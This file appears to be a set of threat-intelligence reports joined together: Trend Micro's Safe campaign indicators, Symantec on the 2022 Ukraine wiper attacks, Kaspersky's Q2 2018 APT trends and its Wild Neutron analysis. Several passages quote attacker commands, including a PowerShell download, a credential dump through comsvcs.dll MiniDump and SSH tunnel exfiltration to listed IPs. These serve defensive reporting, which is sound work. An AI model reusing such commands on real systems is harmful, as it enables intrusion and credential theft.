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data/reports_final/0070.txt
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Network traffic identifiers: Network traffic going to mongolbaatarsonin.
in Network traffic going to withoutcake.com Network traffic going to mongolbaatar.us Network traffic going to getapencil.com User-agent identified as Fantasia Communication with any URL with the sub- URL, /safe/record.php Host-based identifiers: Presence of SafeExt.dll on the host (commonly found in Program Files\ Internet Explorer\SafeNet\) Presence of SafeCredential.
DAT on the host (commonly found in Program Files\ Internet Explorer\SafeNet\) Presence of the directory, Program Files\Internet Explorer\SafeNet\ Modification of certain registry values Malware files: TROJ_FAKESAFE.SMA TROJ_DROPER.SMA TROJ_DROPDET.A TROJ_MDROP.DET ADW_ADSTART TROJ_CONNECT.DET More information on the Safe campaign can be seen in the Trend Micro research paper, Safe: A Targeted Threat.
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-safe-a-targeted-threat.pdf TREND MICRO Trend Micro Incorporated, a global cloud security leader, creates a world safe for exchanging digital information with its Internet content security and threat management solutions for businesses and consumers.
A pioneer in server security with over 20 years experience, we deliver top-ranked client, server, and cloud-based security that fits our customers and partners needs stops new threats faster and protects data in physical, virtualized, and cloud environments.
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Cupertino, CA 95014 U.S. toll free: 1 800.228.5651 Phone: 1 408.257.1500 Fax: 1 408.257.2003 www.trendmicro.com 2013 by Trend Micro, Incorporated.
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http://www.trendmicro.com http://www.trendmicro.com http://www.trendmicro.com Introduction Attack Vector Malware First Stage Second Stage Plug-Ins Tools CC Campaign Connections Identification of Victims Tools TypeConfig/SafeDisk DECRYPT.exe Common Tools Source Code TypeConfig.exe/SafeDisk.exe Source Code Analysis CC Source Code Attribution Developers Operators Conclusion Defending Against Targeted Attacks Local and External Threat Intelligence Mitigation and Cleanup Strategy Educating Employees Against Social Engineering Data-Centric Protection Strategy Trend Micro Threat Protection Against the SafeNet Campaign References
1/2 Ukraine: Disk-wiping Attacks Precede Russian Invasion symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia UPDATE February 24, 2022, 13:42: This blog has been updated with details about ransomware being used as a possible decoy during some wiper attacks.
A new form of disk-wiping malware (Trojan.
Killdisk) was used to attack organizations in Ukraine shortly before the launch of a Russian invasion this morning (February 24).
Symantec, a division of Broadcom Software, has also found evidence of wiper attacks against machines in Lithuania.
Sectors targeted included organizations in the financial, defense, aviation, and IT services sectors.
Trojan.
Killdisk comes in the form of an executable file, which is signed by a certificate issued to Hermetica Digital Ltd.
It contains 32-bit and 64-bit driver files which are compressed by the Lempel-Ziv algorithm stored in their resource section.
The driver files are signed by a certificate issued to EaseUS Partition Master.
The malware will drop the corresponding file according to the operating system (OS) version of the infected system.
Driver file names are generated using the Process ID of the wiper Once run, the wiper will damage the Master Boot Record (MBR) of the infected computer, rendering it inoperable.
The wiper does not appear to have any additional functionality beyond its destructive capabilities.
Attack chain Initial indications suggest that the attacks may have been in preparation for some time.
Temporal evidence points to potentially related malicious activity beginning as early as November 2021.
However, we are continuing to review and verify findings.
In the case of an attack against one organization in Ukraine, the attackers appear to have gained access to the network on December 23, 2021, via malicious SMB activity against a Microsoft Exchange Server.
This was immediately followed by credential theft.
A web shell was also installed on January 16, before the wiper was deployed on February 23.
An organization in Lithuania was compromised from at least November 12, 2021, onwards.
It appears the attackers may have leveraged a Tomcat exploit in order to execute a PowerShell command.
The decoded PowerShell was used to download a JPEG file from an internal server, on the victims network.
cmd.exe /Q /c powershell -c (New-Object System.
Net.
WebClient).DownloadFile(hxxp://192.168.3.13/email.jpeg,CSIDL_SYSTEM_DRIVE\temp\sys.tmp1) 1 \\127.0.0.1\ADMIN\__1636727589.6007507 21 A minute later, the attackers created a scheduled task to execute a suspicious postgresql.exe file, weekly on a Wednesday, specifically at 11:05 local-time.
The attackers then ran this scheduled task to execute the task.
cmd.exe /Q /c move CSIDL_SYSTEM_DRIVE\temp\sys.tmp1 CSIDL_WINDOWS\policydefinitions\postgresql.exe 1 \\127.0.0.1\ADMIN\__1636727589.6007507 21 schtasks /run /tn \Microsoft\Windows\termsrv\licensing\TlsAccess Nine minutes later, the attackers modified the scheduled task to execute the same postgres.exe file at 09:30 local-time instead.
Beginning on February 22, Symantec observed the file postgresql.exe being executed and used to perform the following: Execute certutil to check connectivity to trustsecpro[.
]com and whatismyip[.
]com Execute a PowerShell command to download another JPEG file from a compromised web server - confluence[.]novus[.
]ua https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia https://software.broadcom.com/ 2/2 Following this activity, PowerShell was used to dump credentials from the compromised machine: cmd.exe /Q /c powershell -c rundll32 C:\windows\system32\comsvcs.dll MiniDump 600 C:\asm\appdata\local\microsoft\windows\winupd.log full 1 \\127.0.0.1\ADMIN\__1638457529.1247072 21 Later, following the above activity, several unknown PowerShell scripts were executed.
powershell -v 2 -exec bypass -File text.ps1 powershell -exec bypass gp.ps1 powershell -exec bypass -File link.ps1 Five minutes later, the wiper (Trojan.
KillDisk) was deployed.
Ransomware decoy In several attacks Symantec has investigated to date, ransomware was also deployed against affected organizations at the same time as the wiper.
As with the wiper, scheduled tasks were used to deploy the ransomware.
File names used by the ransomware included client.exe, cdir.exe, cname.exe, connh.exe, and intpub.exe.
It appears likely that the ransomware was used as a decoy or distraction from the wiper attacks.
This has some similarities to the earlier WhisperGate wiper attacks against Ukraine, where the wiper was disguised as ransomware.
By GReAT APT Trends Report Q2 2018 securelist.com/apt-trends-report-q2-2018/86487 In the second quarter of 2017, Kaspersky Labs Global Research and Analysis Team (GReAT) began publishing summaries of the quarters private threat intelligence reports, in an effort to make the public aware of the research we have been conducting.
This report serves as the latest installment, focusing on the relevant activities that we observed during Q2 2018.
These summaries are a representative snapshot of what has been discussed in greater detail in our private reports.
They aim to highlight the significant events and findings that we feel people should be aware of.
For brevitys sake, we are choosing not to publish indicators associated with the reports highlighted.
However, readers who would like to learn more about our intelligence reports or request more information on a specific report are encouraged to contact: intelreportskaspersky.com.
Remarkable new findings We are always interested in analyzing new techniques used by existing groups, or in finding new clusters of activity that might lead us to discover new actors.
Q2 2018 was very interesting in terms of APT activity, with a remarkable campaign that reminds us how real some of the threats are that we have been predicting over the last few years.
In particular, we have warned repeatedly how ideal networking hardware was for targeted attacks, and that we had started seeing the first advanced sets of activity focusing on these devices.
In terms of well-known groups, Asian actors were the most active by far.
Lazarus/BlueNoroff was suspected of targeting financial institutions in Turkey as part of a bigger cyberespionage campaign.
The same actor was also suspected of a campaign against an online casino in Latin America that ended in a destructive attack.
Based on our telemetry, we further observed Lazarus targeting financial institutions in Asia.
Lazarus has accumulated a large collection of artefacts over the last few years, in some cases with heavy code reuse, which makes it possible to link many newly found sets of activity to this actor.
One such tool is the Manuscrypt malware, used exclusively by Lazarus in many recent attacks.
The US-CERT released a warning in June about a new version of Manuscrypt they call TYPEFRAME.
1/6 https://securelist.com/apt-trends-report-q2-2018/86487/ mailto:intelreportskaspersky.com https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/ https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-american-casino/ https://www.us-cert.gov/ncas/analysis-reports/AR18-165A https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/07/09154452/180709-APT-Trends-report-Q2-2018-1.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/07/09154503/180709-APT-Trends-report-Q2-2018-2.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/07/09154509/180709-APT-Trends-report-Q2-2018-3.png US-CERT alert on Manuscrypt/TYPEFRAME malware used by Lazarus Even if it is unclear what the role of Lazarus will be in the new geopolitical landscape, where North Korea is actively engaged in peace talks, it would appear that financially motivated activity (through the BlueNoroff and, in some cases, the Andariel subgroup) continues unabated.
Possibly even more interesting is the relatively intense activity by Scarcruft, also known as Group123 and Reaper.
Back in January, Scarcruft was found using a zero-day exploit, CVE- 2018-4878 to target South Korea, a sign that the groups capabilities were increasing.
In the last few months, the use of Android malware by this actor has been discovered, as well as a new campaign where it spreads a new backdoor we call POORWEB.
Initially, there was suspicion that Scarcruft was also behind the CVE-2018-8174 zero day announced by Qihoo360.
We were later able to confirm the zero day was actually distributed by a different APT group, known as DarkHotel.
The overlaps between Scarcruft and Darkhotel go back to 2016 when we discovered Operation Daybreak and Operation Erebus.
In both cases, attacks leveraged the same hacked website to distribute exploits, one of which was a zero day.
We were later able to separate these as follows: Operation Exploit Actor Daybreak CVE-2016-4171 DarkHotel Erebus CVE-2016-4117 Scarcruft 2/6 https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence26998 http://blogs.360.cn/blog/cve-2018-8174-en/ https://securelist.com/the-darkhotel-apt/66779/ https://securelist.com/cve-2016-4171-adobe-flash-zero-day-used-in-targeted-attacks/75082/ DarkHotels Operation Daybreak relied on spear-phishing emails predominantly targeting Chinese victims with a Flash Player zero day.
Meanwhile, Scarcrufts Operation Erebus focused primarily on South Korea.
Analysis of the CVE-2018-8174 exploit used by DarkHotel revealed that the attacker was using URLMoniker to invoke Internet Explorer through Microsoft Word, ignoring any default browser preferences on the victims computer.
This is the first time we have observed this.
It is an interesting technique that we believe may be reused in future for different attacks.
For more details check our Securelist Blog: The King is Dead.
Long Live the King.
We also observed some relatively quiet groups coming back with new activity.
A noteworthy example is LuckyMouse (also known as APT27 and Emissary Panda), which abused ISPs in Asia for waterhole attacks on high profile websites.
We wrote about LuckyMouse targeting national data centers in June.
We also discovered that LuckyMouse unleashed a new wave of activity targeting Asian governmental organizations just around the time they had gathered for a summit in China.
Still, the most notable activity during this quarter is the VPNFilter campaign attributed by the FBI to the Sofacy and Sandworm (Black Energy) APT groups.
The campaign targeted a large array of domestic networking hardware and storage solutions.
It is even able to inject malware into traffic in order to infect computers behind the infected networking device.
We have provided an analysis on the EXIF to C2 mechanism used by this malware.
3/6 https://securelist.com/root-cause-analysis-of-cve-2018-8174/85486/ https://securelist.com/root-cause-analysis-of-cve-2018-8174/85486/ https://securelist.com/luckymouse-hits-national-data-center/86083/ https://securelist.com/vpnfilter-exif-to-c2-mechanism-analysed/85721/ This campaign is one of the most relevant examples we have seen of how networking hardware has become a priority for sophisticated attackers.
The data provided by our colleagues at Cisco Talos indicates this campaign was at a truly global level.
We can confirm with our own analysis that traces of this campaign can be found in almost every country.
Activity of well-known groups It seems that some of the most active groups from the last few years have reduced their activity, although this does not mean they are less dangerous.
For instance, it was publicly reported that Sofacy started using new, freely available modules as last stagers for some victims.
However, we observed how this provided yet another innovation for their arsenal, with the addition of new downloaders written in the Go programming language to distribute Zebrocy.
There is possibly one notable exception to this supposed lack of activity.
After the Olympic Destroyer campaign last January against the Pyeongchang Winter Olympic games, we observed new suspected activity by the same actor (we tentatively called them Hades) in Europe.
This time, it seems the targets are financial organizations in Russia, and biological and chemical threat prevention laboratories in Europe and Ukraine.
But even more interesting is the resemblance between the TTPs and OPSEC of the Olympic Destroyer set of activity and those of Sofacy.
Olympic Destroyer is a master of deception, so this may be yet another false flag, but so far we connect, with low to medium confidence, 4/6 https://securelist.com/olympic-destroyer-is-still-alive/86169/ the Hades group activity to Sofacy.
One of the most interesting attacks we detected was an implant from Turla (attributed to this actor with medium confidence) that we call LightNeuron.
This new artefact directly targets Exchange Servers and uses legitimate standard calls to intercept emails, exfiltrate data and even send mails on behalf of the victims.
We believe this actor has been using this technique since maybe as early as 2014, and that there is a version affecting Unix servers running Postfix and Sendmail.
So far we have seen victims of this implant in the Middle East and Central Asia.
Newcomers and comebacks Every now and then, we are surprised to see old actors that have been dormant for months or even years distributing new malware.
Obviously, this may be caused by a lack of visibility, but regardless of that, it indicates that these actors are still active.
One good example would be WhiteWhale, an actor that has been extremely quiet since 2016.
We detected a new campaign last April where the actor was distributing both the Taidoor and Yalink malware families.
This activity was almost exclusively targeting Japanese entities.
Following the intense diplomatic activity around the North Korea peace talks and the subsequent summit with the U.S. president in Singapore, Kimsuky decided to take advantage of this theme to distribute its malware in a new campaign.
A massive update to its arsenal in late 2017 and early 2018 was mobilized in a new wave of spear-phishing emails.
We also discovered a new low-sophistication set of activity we call Perfanly, which we couldn t attribute to any known actor.
It has been targeting governmental entities in Malaysia and Indonesia since at least 2017.
It uses custom multistage droppers as well as freely available tools such as Metasploit.
Between June and July, we observed a battery of attacks against various institutions in Kuwait.
These attacks leverage Microsoft Office documents with macros, which drop a combination of VBS and Powershell scripts using DNS for command and control.
We have observed similar activity in the past from groups such as Oilrig and Stonedrill, which leads us to believe the new attacks could be connected, though for now that connection is only assessed as low confidence.
Final thoughts 5/6 The combination of simple custom artefacts designed mainly to evade detection, with publicly available tools for later stages seems to be a well-established trend for certain sets of activity, like the ones found under the Chinese-speaking umbrella, as well as for many newcomers who find the entry barrier into APT cyberespionage activity non-existent.
The intermittent activity by many actors simply indicates they were never out of business.
They might take small breaks to reorganize themselves, or to perform small operations that might go undetected on a global scale.
Probably one of the most interesting cases is LuckyMouse, with aggressive new activity heavily related to the geopolitical agenda in Asia.
It is impossible to know if there is any coordination with other actors who resurfaced in the region, but this is a possibility.
One interesting aspect is the high level of activity by Chinese-speaking actors against Mongolian entities over the last 10 months.
This might be related to several summits between Asian countries some related to new relations with North Korea held in Mongolia, and to the countrys new role in the region.
There were also several alerts from NCSC and US CERT regarding Energetic Bear/Crouching Yeti activity.
Even if it is not very clear how active this actor might be at the moment (the alerts basically warned about past incidents), it should be considered a dangerous, active and pragmatic actor very focused on certain industries.
We recommend checking our latest analysis on Securelist because the way this actor uses hacked infrastructure can create a lot of collateral victims.
To recap, we would like to emphasize just how important networking hardware has become for advanced attackers.
We have seen various examples during recent months and VPNFilter should be a wake-up call for those who didnt believe this was an important issue.
We will continue to track all the APT activity we can find and will regularly highlight the more interesting findings, but if you want to know more, please reach out to us at intelreportskasperksy.com.
6/6 https://securelist.com/energetic-bear-crouching-yeti/85345/ APT Trends Report Q2 2018 Remarkable new findings Activity of well-known groups Newcomers and comebacks Final thoughts
Wild Neutron Economic espionage threat actor returns with new tricks Indicators of Compromise (IOC) A powerful threat actor known as Wild Neutron (also known as Jripbot and Morpho) has been active since at least 2011, infecting high profile companies for several years by using a combination of exploits, watering holes and multi-platform malware.
The latest round of attacks in 2015 uses a stolen code signing certificate belonging to Taiwanese electronics maker Acer and an unknown Flash Player exploit.
Wild Neutron hit the spotlight in 2013, when it successfully infected companies such as Apple, Facebook, Twitter and Microsoft.
This attack took advantage of a Java zero-day exploit and used hacked forums as watering holes.
The 2013 incident was highly publicized and, in the aftermath, the threat actor went dark for almost one year.
WildNeutron is a powerful entity engaged in espionage, possibly for economic reasons Tweet In late 2013 and early 2014 the attacks resumed and continued throughout 2015.
Targets of the new attacks include: Law firms Bitcoin-related companies Investment companies Large company groups often involved in MA deals IT companies Healthcare companies Real estate companies Individual users The focus of these attacks suggests this is not a nation-state sponsored actor.
However, the use of zero- days, multi-platform malware as well as other techniques makes us believe its a powerful entity engaged in espionage, possibly for economic reasons.
Older (2013) campaigns During the 2013 attacks, the Wild Neutron actor successfully compromised and leveraged the website https://securelist.com/files/2015/07/5548c296-9f00-4c13-bace-71015d68f28d.ioc http://www.symantec.com/connect/blogs/morpho-profiting-high-level-corporate-attacks https://twitter.com/share?urlhttps3A2F2Fsecurelist.com2Fblog2Fresearch2F712752Fwild-neutron-economic-espionage-threat-actor-returns-with-new-tricks2Ftext23WildNeutronisapowerfulentityengagedinespionage2Cpossiblyforeconomicreasons www.iphonedevsdk[.
]com, which is an iPhone developers forum.
The attackers injected a script into the forum that redirected visitors to another website (min.liveanalytics[.
]org currently SINKHOLED by Kaspersky Lab) that hosted a Java zero-day exploit.
A similar attack was also found in another forum dedicated to Linux developers: fedoraforum[.
]org.
For a more detailed analysis of these 2013 attacks, see Eric Romangs blog.
Other forums compromised by the Wild Neutron group and identified by reports from the Kaspersky Security Network include: expatforum.com mygsmindia.com forum.samdroid.net emiratesmac.com forums.kyngdvb.com community.flexispy.com ansar1.info In particular, two of these stand out: community.flexispy[.
]com and ansar1[.
]info.
The first one is a community ran by Flexispy, a company that sells spyware for mobile devices.
The second one is a Jihadist forum that is currently closed.
http://eromang.zataz.com/2013/02/20/facebook-apple-twitter-watering-hole-attack-additional-informations/ ansar1[.
]info was injected by Wild Neutron in 2013 Back in 2013, the attackers also leveraged a Mac OS X backdoor, known as OSX/Pintsized.
This is also described in more detail in Eric Romangs excellent blog.
The same backdoor, compiled for Win32, is still being used in the 2015 attacks.
WildNeutron is one of the most unusual APT group weve analysed and tracked Tweet Some of the more prominent victims of the 2013 attack include Twitter, Facebook, Apple and Microsoft.
These breaches were covered widely by the press and some affect companies, issued statements on the incident (see Facebooks statement).
The targeting of major IT companies like Facebook, Twitter, Apple and Microsoft is unusual, however, its not entirely unique.
The lack of victims in other sectors, such as diplomatic or government institutions, is however quite unusual.
This makes us believe this is not a nation-state sponsored attack.
Technical analysis https://kasperskycontenthub.com/securelist/files/2015/07/wild_neutron_en_1.png http://eromang.zataz.com/2013/03/24/osx-pintsized-backdoor-additional-details/ https://twitter.com/share?urlhttps3A2F2Fsecurelist.com2Fblog2Fresearch2F712752Fwild-neutron-economic-espionage-threat-actor-returns-with-new-tricks2Ftext23WildNeutronisoneofthemostunusualAPTgroupwe27veanalysedandtracked http://www.reuters.com/article/2013/02/19/us-apple-hackers-idUSBRE91I10920130219 https://www.facebook.com/notes/facebook-security/protecting-people-on-facebook/10151249208250766 The malware set used by the Wild Neutron threat actor has several component groups, including: A main backdoor module that initiates the first communication with CC server Several information gathering modules Exploitation tools SSH-based exfiltration tools Intermediate loaders and droppers that decrypt and run the payloads Although customized, some of the modules seem to be heavily based on open source tools (e.g.
the password dumper resembles the code of Mimikatz and Pass-The-Hash Toolkit) and commercial malware (HTTPS proxy module is practically identical to the one that is used by Hesperbot).
Although customized, some of the modules seem to be heavily based on open source tools WildNeutron Tweet All CC communication is encrypted with a custom protocol.
Dropped executables, as well as some of the hardcoded strings are usually obfuscated with XOR (depends on bot version).
The main backdoor module contains a number of evasion techniques, designed to detect or time out sandboxes and emulation engines.
Exploitation 2015 The initial infection vector from the 2014-2015 attacks is still unknown, although there are clear indications that the victims are exploited by a kit that leverages an unknown Flash Player exploit.
The following exploitation chain was observed in one of the attacks: Site hxxp://cryptomag.mediasource.ch/ Paths /favicon.ico /msie9html5.jpg /loader-large.gif /bootstrap.min.css /stats.js?d1434374526478 /autoload.js?styleid20langid5sid883f2efad1434374526 /banner.html?styleid19langid23sid883f2efad1434374526 /883f2efa/bniqligx.swf?styleid4langid6sid883f2efad1434374533 /883f2efa/pzixfgne?styleid5langid25sid883f2efad1434374533 /883f2efa/bniqligx.swf?styleid4langid6sid883f2efad1434374533/ /background.jpg The subdomain cryptomag.mediasource[.
]ch appears to have been created for this attack it pointed to an IP address associated with other Wild Neutron CCs, highlighted in red below: https://twitter.com/share?urlhttps3A2F2Fsecurelist.com2Fblog2Fresearch2F712752Fwild-neutron-economic-espionage-threat-actor-returns-with-new-tricks2FtextAlthoughcustomized2Csomeofthemodulesseemtobeheavilybasedonopensourcetools23WildNeutron Hosts resolving to 66.55.133[.
]89 While app.cloudprotect[.
]eu and ssl.cloudprotect[.
]eu are two known Wild Neutron CCs, cryptomag.mediasource[.
]ch appears to have been pointed to this IP for the purpose of exploitation.
Another suspicious domain can be observed above, secure.pdf-info[.
]com.
We havent seen any attacks connected with his hostname yet, however, the name scheme indicates this is also malicious.
In another attack, we observed a similar exploitation chain, however hosted on a different website, hxxp://find.a-job.today/.
In both cases, the visitors browsed the website, or arrived via what appears to have been an online advertisement.
From there, autoload.js appears in both cases, which redirects to another randomly named HTML file, which eventually loads a randomly named SWF file.
While the group used watering hole attacks in 2013, its still unclear how victims get redirected to the exploitation kits in the new 2014-2015 attacks.
Instead of Flash exploits, older Wild Neutron exploitation and watering holes used what was a Java zero-day at the end of 2012 and the beginning of 2013, detected by Kaspersky Lab products as Exploit.
Java.
CVE-2012-3213.b.
The main malware dropper The functionality of the main dropper is relatively simple: it decrypts the backdoor executable (stored as a resource and encrypted with a simple XOR 0x66), writes it to a specified path and then executes it with parameters that are hardcoded in the dropper body.
One of the parameters is the URL address of the CC server, while others contain various bot configuration options.
Example parameters used by the dropper: igfxupt.exe https://app.cloudprotect[.
]eu:443 /opts resolvlogs.cloudprotect[.
]eu https://kasperskycontenthub.com/securelist/files/2015/07/wild_neutron_en_2.png After executing the main backdoor, the dropper is securely deleted by overwriting its content with random numbers several times before renaming and removing the file.
The main backdoor (aka Jripbot) This binary is executed with the URL address of the CC server as a parameter it can also receive an optional bot configuration.
This information is then double-encrypted first with RC4 and then with Windows CryptProtectData function and saved to the registry.
Before performing any other activity, the malware first runs its stalling code (designed to outrun the emulators), then performs several anti-sandboxing checks and enters an infinite loop if any unwanted software running in the system is detected.
Otherwise, it gathers some basic system information: Version of the operating system If program is running under WOW64 If current user has administrator privileges Which security features of Windows are enabled Username and computer name Server name and LAN group Information about logical drives System uptime and idle time Default web browser Proxy settings Based on some of this information, malware generates a unique ID for the victim and starts the CC communication by sending the ID value and awaiting commands.
Backdoor configuration options may include proxy server address and credentials, sleeptime/delay values and connection type, but the most interesting option is the resolv[url] option.
If this option is set, the malware generates a domain name consisting of computer name, unique ID and and the URL passed with this option then it tries to resolve the IP address of this domain.
We suspect this is the method the attackers use to send the generated UID to the CC.
Commands from the CC may instruct the bot to perform following actions: Change the current directory to the requested one Execute an arbitrary command in the command line Set the autorun value for itself in the registry Delete the autorun value for itself in the registry Shred requested file (overwrite the file content with random numbers, overwrite the file name with zeroes and then delete it) Download file from the Internet and save it (optionally encrypted) to the disk Install or uninstall additional malware plugins Collect and send system information Enumerate drives Set sleeptime value Update the configuration Update itself Quit Older versions of this backdoor, used in the 2013 attacks, had a bit more functionality: Password harvesting Port scanning Collecting screenshots Pushing files to CC Reverse shell These features were removed from the newer backdoor versions that are used in recent attacks.
Instead, malware developers decided to implement a plugin mechanism and run different tools for different tasks.
This suggests a clear shift towards more flexible modular architecture.
WildNeutron hide the CC address by encrypting it in the registry with machine-dependent information Tweet In terms of functionality, the main backdoor is no different from many other Remote Access Tools (RATs).
What really stands out is the attackers carefulness to hide the CC address, by encrypting it in the registry with machine-dependent information.
Also notable is the ability to recover from a CC shutdown by contacting a dynamically generated domain name, which only the attackers know in advance, as it is directly tied to each unique victim.
According to the timestamp of the samples the distribution is as follows: https://twitter.com/share?urlhttps3A2F2Fsecurelist.com2Fblog2Fresearch2F712752Fwild-neutron-economic-espionage-threat-actor-returns-with-new-tricks2Ftext23WildNeutronhidetheC26amp3BCaddressbyencryptingitintheregistrywithmachine-dependentinformation Each backdoor appears to contain an internal version number, which ranges from 11000 to 16000 in the latest samples.
This allows us to trace the following evolutionary map: Backdoors used in the 2013 attacks: MD5 Timestamp Version Filename Size 1582d68144de2808b518934f0a02bfd6 29 Nov 2012 11000 javacpl.exe 327168 14ba21a3a0081ef60e676fd4945a8bdc 30 Nov 2012 12000 javacpl.exe 329728 0fa3657af06a8cc8ef14c445acd92c0f 09 Jan 2013 13000 javacpl.exe 343552 Backdoors used in 2014 and 2015 attacks: MD5 Timestamp Version Filename Size 95ffe4ab4b158602917dd2a999a8caf8 13 Dec 2013 14014 LiveUpdater.exe 302592 342887a7ec6b9f709adcb81fef0d30a3 20 Jun 2014 15013 FlashUtil.exe 302592 dee8297785b70f490cc00c0763e31b69 02 Aug 2013 (possibly fake) 16010 IgfxUpt.exe 291328 f0fff29391e7c2e7b13eb4a806276a84 27 Oct 2014 16017 RtlUpd.exe 253952 The installers also have a version number, which indicates the following evolution: MD5 Timestamp Version 1f5f5db7b15fe672e8db091d9a291df0 16 Dec 2011 1.4.1 48319e9166cda8f605f9dce36f115bc8 28 Sep 2012 1.5.0 https://kasperskycontenthub.com/securelist/files/2015/07/wild_neutron_en_3.png 088472f712d1491783bbad87bcc17c48 12 Apr 2013 1.6.3 ee24a7ad8d137e54b854095188de0bbf 07 Jan 2014 1.6.4 Lateral movement After installing the main backdoor and establishing initial C2 communication, the attackers use a range of different tools to extract sensitive data and control the victims machine.
These tools include a password harvesting trojan, a reverse-shell backdoor and customized implementations of OpenSSH, WMIC and SMB.
Sometimes, they only drop a simple perl reverse shell and use various collection methods to retrieve credentials from a set of machines, escalate privileges, and fan out across a network from there.
Besides these tools, there is also a number of small utility modules of different functionalities, from loaders and configuration tools, to file shredders and network proxies.
Its also worth noting that this threat actor heavily relies on already existing code, using publicly available open source applications, as well as Metasploit tools and leaked malware sources, to build its own toolset.
Some of these tools are designed to work under Cygwin and come together with the Cygwin API DLL, which may suggest that the attackers feel more comfortable when working in a Linux-like environment.
SSH tunnel backdoor During the 2014/2015 attacks, we observed the attackers deploying custom, OpenSSH-based Win32 tunnel backdoors that are used to exfiltrate large amounts of data in a reliable manner.
These tunnel backdoors are written as updt.dat and executed with two parameters, -z and -p.
These specify the IP to connect to and the port.
Despite the port number 443, the connection is SSH: /d /u /c updt.dat -z 185.10.58.181 -p 443 /d /u /c updt.dat -z 46.183.217.132 -p 443 /d /u /c updt.dat -z 217.23.6.13 -p 443 For authentication, the SSH tunnel backdoor contains a hardcoded RSA private key.
Stolen certificate During the 2015 attacks, Wild Neutron used a dropper signed with a stolen, yet valid Acer Incorporated certificate.
Acer signature on Wild Neutron dropper The abused certificate has the following properties: Serial: 5c c5 3b a3 e8 31 a7 df dc 7c 28 d5 15 8f c3 80 Thumbprint: 0d 85 91 41 ee 9a 0c 6e 72 5f fe 6b cf c9 9f 3e fc c3 fc 07 The dropper (dbb0ea0436f70f2a178a60c4d8b791b3) appears to have been signed on June 15, 2015.
It drops a Jripbot backdoor as IgfxUpt.exe and configures it to use the CC app.cloudprotect[.
]eu.
WildNeutron used a dropper signed with a stolen, yet valid Acer Incorporated certificate Tweet We have worked with Symantec, Verisign and Acer to revoke the compromised certificate.
Victims and statistics The Wild Neutron attacks appear to have a highly targeted nature.
During our investigation, we have been able to identify several victims across 11 countries and territories: https://kasperskycontenthub.com/securelist/files/2015/07/wild_neutron_en_4.png https://twitter.com/share?urlhttps3A2F2Fsecurelist.com2Fblog2Fresearch2F712752Fwild-neutron-economic-espionage-threat-actor-returns-with-new-tricks2Ftext23WildNeutronusedadroppersignedwithastolen2CyetvalidAcerIncorporatedcertificate France Russia Switzerland Germany Austria Palestine Slovenia Kazakhstan UAE Algeria United States https://kasperskycontenthub.com/securelist/files/2015/07/wild_neutron_en_6.png The victims for the 2014-2015 versions are generally IT and real estate/investment companies and in both cases, a small number of computers have been infected throughout the organizations.
The attackers appear to have updated the malware implant and deployed some additional tools, however, we havent observed serious lateral movement in these cases.
Attribution The targeting of various companies, without a government focus, makes us believe this is not a nation state sponsored APT.
The attackers have also shown an interest in investment related targets, which indicate knowledge and skills to exploit such information on the market to turn it into financial advantages.
In some of the samples, the encrypted configuration includes a Romanian language string WildNeutron Tweet In some of the samples, the encrypted configuration includes a Romanian language string, which is used to mark the end of the CC communication: Interestingly, La revedere means goodbye in Romanian.
In addition to that, we found another non- English string which is the latin transcription of the russian word (uspeshno - successfully) this string is written to a pipe after executing a C2 command.
We found another non-English string which is the latin transcription of the russian word WildNeutron Tweet https://twitter.com/share?urlhttps3A2F2Fsecurelist.com2Fblog2Fresearch2F712752Fwild-neutron-economic-espionage-threat-actor-returns-with-new-tricks2FtextInsomeofthesamples2CtheencryptedconfigurationincludesaRomanianlanguagestring23WildNeutron https://kasperskycontenthub.com/securelist/files/2015/07/wild_neutron_en_5.png https://twitter.com/share?urlhttps3A2F2Fsecurelist.com2Fblog2Fresearch2F712752Fwild-neutron-economic-espionage-threat-actor-returns-with-new-tricks2FtextWefoundanothernon-Englishstringwhichisthelatintranscriptionoftherussianword23WildNeutron One of the samples has an internal name of WinRAT-Win32-Release.exe.
This seems to indicate the authors are calling the malware WinRAT.
More information about the Wild Neutron attribution is available to Kaspersky Intelligence Services customers.
Contact: intelreportskaspersky.com Conclusions Compared to other APT groups, Wild Neutron is one of the most unusual ones weve analysed and tracked.
Active since 2011, the group has been using at least one zero-day exploit, custom malware and tools and managed to keep a relatively solid opsec which so far eluded most attribution efforts.
Their targeting of major IT companies, spyware developers (FlexiSPY), jihadist forums (the Ansar Al-Mujahideen English Forum) and Bitcoin companies indicate a flexible yet unusual mindset and interests.
Some of groups distinctive features include: Use of open source tools and leaked sources of other malware Use of stolen certificate from Acer Incorporated to sign malware Use of cross platform zero-day exploit (Java and Flash) followed by cross platform payload reverse shell (Perl) for initial penetration Use of NIX code ported to Windows through Cygwin Heavy use of SSH for exfiltration, a commonly used NIX administration tool Use of CryptProtectData API to keep CC URLs secret Simple command line interface, built around all malware components, utilizing named pipes for communication between modules Auxiliary tools are written in C and most of them contain a built-in help, which may be printed by executing the binary with a pleh parameter We continue to track the Wild Neutron group, which is still active as of June 2015.
Kaspersky products detect the malware used in the attacks as: HEUR:Trojan.
Win32.WildNeutron.gen, Trojan.
Win32.WildNeutron.,
Trojan.
Win32.JripBot.,
HEUR:Trojan.
